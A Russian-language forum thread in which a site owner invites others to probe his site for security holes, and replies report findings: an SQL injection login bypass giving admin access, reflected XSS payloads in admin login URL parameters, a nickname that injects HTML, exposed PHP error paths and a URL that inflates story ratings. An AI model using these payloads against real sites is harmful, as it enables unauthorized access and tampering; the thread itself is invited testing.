Проверте на надёжность
 

http://concept.ds8.ru

буду благодарен за нахождение дыр в безопастности

При регистрации.
Логин ' раs '

Вёдоёт

Warning: DOMDocument::loadXML() [domdocument.loadxml]: attributes construct error in Entity, line: 63 in /www_host/hosts/concept.ds8.ru/core_functions.php on line 76

Warning: DOMDocument::loadXML() [domdocument.loadxml]: Couldn't find end of Start Tag login line 63 in Entity, line: 63 in /www_host/hosts/concept.ds8.ru/core_functions.php on line 76

это тебе что-то не повезло видать. сервак там щас глючит, только что зарегил такого без проблем

Та же фигня, регался с ником "><hr>

Обращение к бд только при регистрации, что-ли?

sql inject в логине:
логин: ' or '1'=1'
пасс: любой

Здрасте, админ)

add:
админка http://concept.ds8.ru/admin

XSS
http://concept.ds8.ru/admin/login.php?page="><script>alert()</script>&ide=
http://concept.ds8.ru/admin/login.php?page=&ide="><script>alert()</script>

от имени админа у меня добавляются только пустые комменты

http://concept.ds8.ru/erotic
http://concept.ds8.ru/avto

И прочеее

http://concept.ds8.ru/addvoce.php?story={id рассказа}&b=999999
Итого: рейтинг у рассказа - 999999 :D